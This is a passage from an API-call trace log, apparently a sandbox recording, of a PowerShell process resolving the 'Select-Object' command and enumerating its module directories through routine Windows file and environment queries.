fInfoLevelId=0x0, lpFileInformation=0x59ee370 | out: lpFileInformation=0x59ee370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0a8) returned 1 [0130.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee368) returned 1 [0130.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.899] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x59ee118 | out: lpFindFileData=0x59ee118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0c0) returned 1 [0130.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee320) returned 1 [0130.899] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.899] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0ac) returned 1 [0130.900] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59ee370 | out: lpFileInformation=0x59ee370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0a8) returned 1 [0130.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee368) returned 1 [0130.900] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.900] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.900] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x59ee118 | out: lpFindFileData=0x59ee118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0c0) returned 1 [0130.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee320) returned 1 [0130.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0ac) returned 1 [0130.901] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59ee370 | out: lpFileInformation=0x59ee370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0a8) returned 1 [0130.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee368) returned 1 [0130.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.901] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x59ee118 | out: lpFindFileData=0x59ee118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0c0) returned 1 [0130.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee320) returned 1 [0130.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0ac) returned 1 [0130.902] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59ee370 | out: lpFileInformation=0x59ee370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0a8) returned 1 [0130.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee368) returned 1 [0130.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.902] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x59ee118 | out: lpFindFileData=0x59ee118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0c0) returned 1 [0130.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee320) returned 1 [0130.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee250, nSize=0xbe | out: lpBuffer="") returned 0x0 [0130.903] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59ee16c, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.903] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59ee158, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.903] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f1d7b0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.903] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59ee160, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.903] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.904] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee054) returned 1 [0130.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59ee318 | out: lpFileInformation=0x59ee318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee050) returned 1 [0130.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee054) returned 1 [0130.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x59ee318 | out: lpFileInformation=0x59ee318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee050) returned 1 [0130.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee310) returned 1 [0130.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.990] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x59ee0c0 | out: lpFindFileData=0x59ee0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee068) returned 1 [0130.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee2c8) returned 1 [0130.990] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.990] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee054) returned 1 [0130.990] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59ee318 | out: lpFileInformation=0x59ee318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee050) returned 1 [0130.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee310) returned 1 [0130.991] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.991] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.991] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x59ee0c0 | out: lpFindFileData=0x59ee0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee068) returned 1 [0130.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee2c8) returned 1 [0130.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee054) returned 1 [0130.991] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59ee318 | out: lpFileInformation=0x59ee318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee050) returned 1 [0130.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee310) returned 1 [0130.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.992] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x59ee0c0 | out: lpFindFileData=0x59ee0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee068) returned 1 [0130.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee2c8) returned 1 [0130.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee054) returned 1 [0130.992] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59ee318 | out: lpFileInformation=0x59ee318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee050) returned 1 [0130.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee310) returned 1 [0130.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.993] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x59ee0c0 | out: lpFindFileData=0x59ee0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee068) returned 1 [0130.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee2c8) returned 1 [0130.993] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59ee1c4, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0130.993] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59ee1b4, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0130.996] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0130.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0130.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0130.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0130.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0130.997] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.997] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0130.997] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0130.998] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.998] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0130.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0130.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0130.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0130.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0130.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0130.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0130.999] GetFullPathNameW 